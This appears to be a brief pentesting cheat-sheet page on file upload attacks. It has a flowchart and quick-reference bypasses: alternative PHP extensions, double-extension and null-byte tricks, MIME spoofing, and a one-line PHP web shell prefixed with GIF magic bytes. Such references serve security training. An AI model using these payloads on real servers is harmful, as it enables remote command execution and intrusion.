File Upload Exploitation
Bypassing file upload restrictions
File Upload AttacksTip: Click on any node to see related information!
Interactive Mind Map
graph TD
A[Upload Form] --> B[Test Valid File]
B --> C[Upload Shell]
C --> D{Blocked?}
D -->|Yes| E[Bypass Techniques]
D -->|No| F[Locate File]
E --> G[Double Extension]
E --> H[Null Byte]
E --> I[MIME Type Spoof]
E --> J[Magic Bytes]
F --> K[Execute Shell]
Related Modules
Quick Reference
Extension Bypass
.php5, .phtml, .phar # Alternative PHP extensions .php.jpg, .php%00.jpg # Double extension and null byte bypass
Content-Type
Content-Type: image/jpeg # Spoof MIME type
Magic Bytes
GIF89a; <?php system($_GET['cmd']); ?> # Add GIF magic bytes to bypass file check
Execution
- Find upload path
- Navigate and execute